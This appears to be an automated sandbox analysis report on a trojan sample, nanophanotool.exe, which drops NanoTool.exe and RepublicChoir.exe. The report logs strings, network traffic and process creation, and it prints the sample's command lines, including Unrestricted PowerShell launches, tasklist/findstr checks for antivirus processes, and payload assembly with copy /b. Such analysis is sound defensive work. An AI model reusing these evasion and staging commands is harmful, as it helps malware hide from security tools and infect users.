      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageview
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageviewhttps://www.yandex.kz/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageview
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageviewhttps://www.yandex.ua/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icohttps://yandex.by/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icohttps://yandex.com/search/?text=
      Source: unknownNetwork traffic detected: HTTP traffic on port 49973 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49997 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49997
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49985
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49973
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50009
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
      Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
      Source: unknownNetwork traffic detected: HTTP traffic on port 50020 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50020
      Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
      Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49979 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49979
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49973 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49979 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49985 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49991 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49997 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50003 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50009 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50020 version: TLS 1.2
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: RegisterRawInputDevices() failed for RIDEV_REMOVEmemstr_25783a4c-5

      System Summary

      barindex
      Source: C:\Users\user\Desktop\nanophanotool.exeFile dump: NanoTool.exe.0.dr 160084992Jump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile dump: NanoTool.exe0.0.dr 160084992Jump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess Stats: CPU usage > 49%
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeFile created: C:\Windows\ErpDoom
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeFile created: C:\Windows\RdExplorer
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeFile created: C:\Windows\JdRelatives
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeFile created: C:\Windows\VirusesNorwegian
      Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\254268\Ford.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess token adjusted: SecurityJump to behavior
      Source: NanoTool.exe.0.drStatic PE information: Number of sections : 15 > 10
      Source: vulkan-1.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: libEGL.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: libGLESv2.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: vk_swiftshader.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: vk_swiftshader.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: libGLESv2.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: NanoTool.exe0.0.drStatic PE information: Number of sections : 15 > 10
      Source: vulkan-1.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: libEGL.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: nanophanotool.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal48.troj.spyw.evad.winEXE@105/193@5/5
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile created: C:\Users\user\AppData\Roaming\dkqjnjumskmeurhgJump to behavior
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2800:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:796:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1236:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8060:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4564:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7020:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:480:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:916:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:396:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsb1977.tmpJump to behavior
      Source: nanophanotool.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Users\user\Desktop\nanophanotool.exeFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile read: C:\Users\user\Desktop\nanophanotool.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\nanophanotool.exe "C:\Users\user\Desktop\nanophanotool.exe"
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe""
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe "C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe"
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 254268
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "DarkPrisonIncRangeBathsPresentedBuckSurely" Photograph
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Screen + ..\Laugh + ..\Ceo + ..\Nc + ..\Anticipated + ..\Uh + ..\Negative p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\254268\Ford.com Ford.com p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
